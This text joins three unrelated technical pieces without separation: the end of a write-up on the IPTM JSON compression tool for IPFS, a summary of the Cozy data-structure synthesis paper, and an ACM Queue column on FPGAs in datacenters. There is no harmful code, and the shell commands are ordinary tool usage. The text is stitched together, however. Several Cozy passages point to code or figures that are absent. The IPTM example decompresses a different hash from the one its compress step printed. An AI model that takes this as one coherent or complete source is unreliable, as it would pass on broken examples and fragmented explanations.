Encoding in CBOR (which happens anyway when you store on IPFS) improves things quite a bit, but we are still a factor of 100 from the theoretical optimum.

The next two rows are a naive approach of just compressing the JSON using the deflate algorithm or encoding using CBOR and then deflating.

We get within a factor of 8 of the theoretical optimum, which is decent.

The last two columns are the encoding and compression scheme described above, with and without deduplication due to IPFS. Deduplication in this case does not have a large benefit, since the index sequences that benefit most from deduplication are very regular.

We do get within a factor of 1.4 to the theoretical optimum despite using the relatively simple deflate algorithm.

Size per sample (all cases)

Size per sample (just compressed)

The described encoding and compression scheme can of course be implemented in any language. The current implementation is in typescript and runs on nodejs.

I am using lerna for having multiple packages in one github repo.

The core package is a very small library that performs the transformation of an array of arbitrary json objects into the columnar representation and back, and some utilities to encode and compress columns. It can be found in the iptm package. It has relatively few fependencies, just for CBOR encoding and compression.

A command line tool can be found in the iptm-cli package. It has a few more dependencies for interacting with ipfs, and can be installed using npm install -g iptm-cli.

The CLI package provides a simple command line tool to compress and store / retrieve and decompress data. It requires access to an IPFS API, which you of course have if you are running an IPFS node locally.

Compression

The compression CLI tool allows compressing data from a file containing an arbitrary JSON array, or from standard input. It will transform the data, store it on IPFS, and return the hash of the root of the stored data structure.

Let's take a tiny example time series and compress it

[{"time":1523565937887,"value":0.1},{"time":1523565938890,"value":0.2},{"time":1523565939895,"value":0.15},{"time":1523565940896,"value":0.25},{"time":1523565941896,"value":0.21}]

$ iptm-cli compress -v tiny.json 
Input size       220
Compressed size  92
Ratio            2.39
IPFS dag objects 4
zdpuAvbrekSTici1JrSmXEc1qvoumACsume7or75fLQKJTPjK

The achieved compression rate is nothing to write home about because the input data is so tiny. But we can take a look at the created ipfs dag objects.

ipfs dag get zdpuAvbrekSTici1JrSmXEc1qvoumACsume7or75fLQKJTPjK | jq

{"children":{"time":{"values":[{"/":"zdpuAkv5CRhdrEgzR6Dhp6euCJRqoPC7W2Ma4uf72cqbB4TkN"},{"/":"zdpuB25fFrvuwq8Cv5jqGswutSgUHDZXrJRbEDgp1Ra2EkQgc"}]},"value":{"values":[{"/":"zdpuAkv5CRhdrEgzR6Dhp6euCJRqoPC7W2Ma4uf72cqbB4TkN"},{"/":"zdpuAvFr6dxN4oFQJVNM2xY6EQ75djk1qiDwxhGvwSwQfWCV6"}]}}}

If you look carefully you will notice that the index array for both the time and value field is identical, so we store only 3 ipfs objects plus the index object.

To get the value field, we can use IPLD links follow the link

ipfs dag get zdpuAvbrekSTici1JrSmXEc1qvoumACsume7or75fLQKJTPjK/children/value/values/1

Note that because the array is so tiny, the data was stored uncompressed.

Decompression

Decompression takes a single argument: the hash of a compressed IPFS dag object. It retrieves the data, decompresses it, applies the columnar to row transform, and produces the original JSON.

$ iptm-cli decompress zdpuAw2qxLonhUCukfSsRbhWnKfEJZCKPw2k5UAqHXF39kkuF

[{"time":1523565937887,"value":0.1},{"time":1523565938890,"value":0.2},{"time":1523565939895,"value":0.15},{"time":1523565940896,"value":0.25},{"time":1523565941896,"value":0.21}]

When to use

• timestamps stored as numbers, not as ISO date strings
• mostly numerical data
• large number of samples (>= 100000)

If your dataset is mostly string data, IPTM won't be able to do much better than gzip. In fact it might be worse in some cases, since only redundancy in individual columns is eliminated. For such data, you might be better off with just gzip.

License

The code is licensed under the Apache 2 license.

Generalized data structure synthesis Loncaric et al., ICSE’18

Many systems have a few key data structures at their heart. Finding correct and efficient implementations for these data structures is not always easy. Today’s paper introduces Cozy (https://cozy.uwplse.org), which can handle this task for you given a high-level specification of the state, queries, and update operations that need to be supported.

Cozy has three goals: to reduce programmer effort, to produce bug-free code, and to match the performance of handwritten code. We found that using Cozy requires an order of magnitude fewer lines of code than manual implementation, makes no mistakes even when human programmers do, and often matches the performance of handwritten code.

Let’s start out by looking at four case studies from the evaluation, to get a feel for where Cozy applies.

• ZTopo is a topological map viewer implemented in C++. A core data structure is the map tile cache for map tiles that are asynchronously loaded over the network and cached on disk or in memory.
• Sat4j is a Boolean sat solver implemented in Java. A core data structure is the variable store.
• Openfire is a large scalable IRC server implemented in Java. It’s in-memory contact manager is extremely complex (and has been a frequent source of bugs).
• Lucene is a search engine back-end implemented in Java. It uses a custom data structure that consumes a stream of words and aggregates key statistics about them.

Starting from a succinct high-level specification, Cozy can generate implementations for all of these data structures, requiring far fewer lines of code for the Cozy specs than for the handwritten implementations:

Because the specifications are shorter, simpler, and more abstract, they are much easier to understand. Programmers writing specifications are therefore less likely to make mistakes, and mistakes will be easier to discover, diagnose, and correct. The specifications also serve as concise, unambiguous documentation.

All the tests from the projects still pass with Cozy’s implementations. Looking at previous reported and fixed bugs, we can see that had Cozy been used in the first place, many bugs would have been prevented:

Cozy’s code is also competitive with handwritten code when it comes to performance:

The only case where it doesn’t match or exceed the handwritten implementation is Sat4j. Here the handwritten code exploits some facts about the data that Cozy doesn’t know – variable IDs can be used as indexes into an array since they always fall between zero and a known maximum bound. Cozy must insert safety checks because it doesn’t know this.

Hopefully that has whet your appetite to learn more about how Cozy works. Let’s take a look under the hood!

Cozy’s high-level algorithm

Cozy starts with a high-level specification of the data structure, from which it constructs an initial implementation. Then it uses guided exploration to iteratively search for better implementations. Each iteration consists of two steps: query synthesis followed by “incrementalisation”. For the case studies above, Cozy was left to explore for three hours. You can stop the exploration at any point, because the implementations Cozy generates are always correct.

We’ll use a simplified version of the Openfire data structure as a running example. In Openfire, a user’s contact list is computed based on the groups that each user belongs to. The data structure needs to be able to efficiently answer the question “should user u1 appear in the contacts of user u2?”. The query method visible defines this relationship. A Cozy specification declares the abstract state maintained by the data structure, the queries that must be supported, and the update operations that modify data. Here’s an example for Openfire:

As specified above, visible runs in O(|groups| x |members) time. After a few rounds, Cozy will find an implementation that runs in O(g) time, where g is the maximum number of groups that any one user belongs to.

Cozy generates an initial data representation using three fields, one for each component of the abstract state. For each field in a representation, Cozy also generates a concretization function to compute the field’s representation from the abstract state. With the initial implementation, these functions are simple selectors:

  v1(users, groups, members) = users 
  v2(users, groups, members) = groups
  v3(users, groups, members) = members

Now every query and update operation can be rewritten in terms of these fields by simple substitution. So visible becomes:

This gives us a baseline implementation from which we can start to look for improvements.

In this example, after a few steps Cozy ends up with a Map-based representation that looks like this:

To go along with this new representation, Cozy also generates new concretization functions:

The new representation and implementation generated by the query synthesis step above doesn’t keep the new state variables s1, s2, and s3 up to date when join is called. The incrementalization step restores correct functioning by adding code to join to update the new state variables.

A simple but inefficient solution would be to recompute the value of each concrete state variable from scratch. Because an update usually makes a small change to the abstract state, Cozy produces an incremental update that makes small changes to the concrete state in response to a small change to the abstract state.

The update procedure is rephrased as a set of queries that compute the changes that should take place, together with a simple hardcoded snipped that applies the computed changes.

Here’s the code Cozy produces to update the concrete state when a user joins a group:

This code has introduced two new query operations: altered_keys_s1 and new_value_for_key_s1.

These new queries will be added to the query set for the data structure and optimised by the query synthesiser in future optimisation rounds.

At the end of each improvement step, a dead code elimination pass gets rid of unused variables (v1, v2, and v3 can now be eliminated in this example). All code that keeps those variables up to data can also be eliminated. Cozy uses a mark-and-sweep algorithm to do this housekeeping.

The details

Cozy’s core specification language looks like this:

The Cozy specs that users write contain sugared forms (e.g.) len(X) that are desugared into this core language. When I first started reading about Cozy, I initially expected it to have a full armoury of internal data structures at its disposal, but actually Cozy does everything today using maps!

We plan to extend Cozy with additional primitives for heaps, trees, and other efficient data structures in the future. For the case studies we examined, maps alone are sufficient to discover efficient implementations.

When searching for better query implementations, Cozy using multiple threads, each thread searching in parallel. (Which reminds me, what guarantees does Cozy give regarding concurrent access to the data structures it generates? I couldn’t see anything in the paper about this. That seems pretty important given the use cases…). There are two key parts to the search strategy: how to generate candidates, and how to evaluate candidates.

To bias the search towards useful expressions, Cozy adds a small number of handwritten diversity rules into the mix. Whenever Cozy considers a new candidate expression, it applies these rules and also considers the resulting expressions.

In practice, Cozy’s enumerative search machinery does not function well without the diversity rules, and vice-versa.

Cozy uses equivalence class deduplication to keep the search space manageable. Given a set of example inputs (produced by the verifier), if two expression produce the same output on every example, Cozy uses its cost model to decide which version to keep. The cost model looks like this:

With new queries synthesised, Cozy uses pre-defined update sketches for different types. For example, with maps the update sketch finds keys whose values have changed and updates each one in the map.

The last word

Cozy is effective because incrementalization allows it to implement both pure and imperative operations using only a query synthesizer. A high-quality cost function and diversity injection make the query synthesizer powerful and practical… Our case studies demonstrate that data structure synthesis can improve software development time, correctness, and efficiency.

The May/June issue of acmqueue is out now

Research for Practice

Performance

  PDF

Gustavo Alonso

This installment of Research for Practice features a curated selection from Gustavo Alonso, who provides an overview of recent developments utilizing FPGAs (field-programmable gate arrays) in datacenters. As Moore's Law has slowed and the computational overheads of datacenter workloads such as model serving and data processing have continued to rise, FPGAs offer an increasingly attractive point in the trade-off between power and performance. Gustavo's selections highlight early successes and practical deployment considerations that inform the ongoing, high-stakes debate about the future of datacenter- and cloud-based computation substrates. Please enjoy! - Peter Bailis

Most of today's IT is being driven by the convergence of three trends: the rise of big data, the prevalence of large clusters as the main computing platform (whether as the cloud, data centers, or data appliances), and the lack of a dominating processor architecture. The result is a fascinating cacophony of products and ideas around hardware acceleration and novel computer architectures, along with the systems and languages needed to cope with the ensuing complexity.

One key aspect of these developments is energy consumption, which is a crucial cost factor in IT and can no longer be ignored as a social issue. Power consumption in computing has many causes, but a well-known culprit is the movement required to bring data from storage to the processors along complex memory hierarchies. Such data transfers consume a proportionally enormous amount of energy without actually doing anything useful in terms of computation. Data movement also has a side effect, often overlooked in research: the performance penalty caused by moving the data to and from an accelerator; this movement often eats up most of the advantages provided by that accelerator.

It is in this context that FPGAs have attracted the attention of system architects and have started to appear in commercial cloud platforms. An FPGA allows the development of digital circuits customized to a given application. The customization makes them efficient in terms of both resource and energy consumption. Existing FPGAs typically consume one order of magnitude less power than CPUs or GPUs, even less in closely integrated systems that do not require a separate board. Unlike ASICs (application-specific integrated circuits), FPGAs are programmable in the sense that the circuit implemented can be swapped for a different one when the need arises (updates, upgrades, different uses, etc.).

The four papers presented here provide an overview of how FPGAs are being integrated into data centers and how they are being used to make data processing more efficient. They are presented in two groups, one showing how designs in this area are quickly evolving and one detailing some of the ongoing debates around FPGAs.

A Reconfigurable Fabric for Accelerating Large-scale Datacenter Services

A. Putnam, A. M. Caulfield, E. S. Chung, et al.

41^st ACM/IEEE International Symposium on Computer Architecture (ISCA), 2014

https://www.microsoft.com/en-us/research/wp-content/uploads/2016/02/Catapult_ISCA_2014.pdf

A Cloud-Scale Acceleration Architecture

A. M. Caulfield, E. S. Chung, A. Putnam, et al.

49^th IEEE/ACM International Symposium on Microarchitecture (MICRO), 2016

https://www.microsoft.com/en-us/research/wp-content/uploads/2016/10/Cloud-Scale-Acceleration-Architecture.pdf

These two papers are part of a series of publications by Microsoft describing Project Catapult (https://www.microsoft.com/en-us/research/project/project-catapult/). The first paper provides insights into the development process of FPGA base systems. The target application is accelerating the Bing web search engine. The configuration involves one FPGA per server, connected to the host through PCI (peripheral component interconnect). A separate network, independent of the conventional network, connects the FPGAs to each other using a six-by-eight, two-dimensional torus topology. The paper shows how such a system can improve the throughput of document ranking or reduce the tail latency for such operations by 29 percent.

The second paper builds on the lessons learned from the first. The web-search accelerator was based on a unit of 48 machines, a result of the decision to use a torus network to connect the FPGAs to each other. Not only is the cabling of such units cumbersome, but it also limits how many FPGAs can talk to each other and requires routing to be provided in each FPGA, complex procedures to achieve fault tolerance, etc.

In the cloud, scaling and efficiently using such a design is problematic. Hence, the second paper describes the solution being deployed in Azure: the FPGA is placed between the NIC (network interface controller) of the host and the actual network, as well as having a PCI connection to the host. All network traffic goes through the FPGA. The motivation for this is that the regular 40-Gbps network available in the cloud can also be used to connect the FPGAs to each other without a limitation on the number of FPGAs directly connected. With this design, the FPGA can be used as a coprocessor (linked to the CPU through PCI) or as a network accelerator (in front of the NIC), with the new resource being available through the regular network and without any of the limitations of the previous design. The design makes the FPGA available to applications, as well as to the cloud infrastructure, widening the range of potential uses.

Ibex - An Intelligent Storage Engine with Support for Advanced SQL Off-loading

Louis Woods, Zsolt István, Gustavo Alonso

Proceedings of the VLDB Endowment 7(11), 2014

http://www.vldb.org/pvldb/vol7/p963-woods.pdf

YourSQL: A High-Performance Database System Leveraging In-storage Computing

Insoon Jo, Duck-Ho Bae, Andre S. Yoon, Jeong-Uk Kang, Sangyeun Cho, Daniel DG Lee, Jaeheon Jeong

Proceedings of the VLDB Endowment 9(12), 2016

http://www.vldb.org/pvldb/vol9/p924-jo.pdf

These two papers illustrate an oft-heard debate around FPGAs. If the functionality provided in the FPGA is so important, can it not be embedded in an ASIC or a dedicated component for even higher performance and power efficiency? The first paper shows how to extend the database MySQL with an SSD+FPGA-based storage engine that can be used to offload queries or parts of queries near the storage. The result is much-reduced data movement from storage to the database engine, in addition to significant performance gains.

The second paper uses an identical database scenario and configuration but replaces the FPGA with the processor already available in the SSD (solid-state drive) device. Doing so avoids the data transfer from the SSD to the FPGA, which is now reduced to reading the data from storage into the processor used to manage the SSD.

As these two papers illustrate, the efficiency advantages derived from using a specialized processor must be balanced with the ability to repurpose the accelerator, a discussion that mirrors the steps taken by Microsoft designers toward refining the architecture of Catapult to increase the number of potential use cases. In a cloud setting, database applications would greatly benefit from an SSD capable of processing queries. All other applications, however, cannot do much with it, a typical tradeoff between specialization (i.e., performance) and generality (i.e., flexibility of use) common in FPGA designs.

Looking Ahead

FPGAs are slowly leaving the niche space they have occupied for decades (e.g., circuit design, customized acceleration, and network management) and are now becoming processing elements in their own right. This is a fascinating phase where different architectures and applications are being tested and deployed. As FPGAs are redesigned to use the latest technologies, it is reasonable to expect they will offer larger capacity, higher clock rates, higher memory bandwidth, and more functionality, and become available in off-the-shelf configurations suitable for data centers. How it all develops will be fascinating to watch in the coming years.

Gustavo Alonso is a professor of computer science at ETH Zürich, Switzerland, where he is a member of the Systems Group (http://www.systems.ethz.ch). His recent research includes multicore architectures, data appliances, cloud computing, and hardware acceleration, with the main goal of adapting system software (operating systems, databases, and middleware) to modern hardware platforms. He has M.S. and Ph.D. degrees from the University of California at Santa Barbara and was at IBM Almaden Research Center before joining ETH. He is a Fellow of the ACM and of the IEEE.

Copyright   2018 held by owner/author. Publication rights licensed to ACM.

Originally published in Queue vol. 16, no. 2—
see this item in the ACM Digital Library

Noor Mubeen - Workload Frequency Scaling Law - Derivation and Verification
Workload scalability has a cascade relation via the scale factor.

Theo Schlossnagle - Monitoring in a DevOps World
Perfect should never be the enemy of better.

Ulan Degenbaev, Jochen Eisinger, Manfred Ernst, Ross McIlroy, Hannes Payer - Idle-Time Garbage-Collection Scheduling
Taking advantage of idleness to reduce dropped frames and memory consumption

Neil Gunther, Paul Puglia, Kristofer Tomasette - Hadoop Superlinear Scalability
The perpetual motion of parallel performance

Comments

(newest first)

© 2018 ACM, Inc. All Rights Reserved.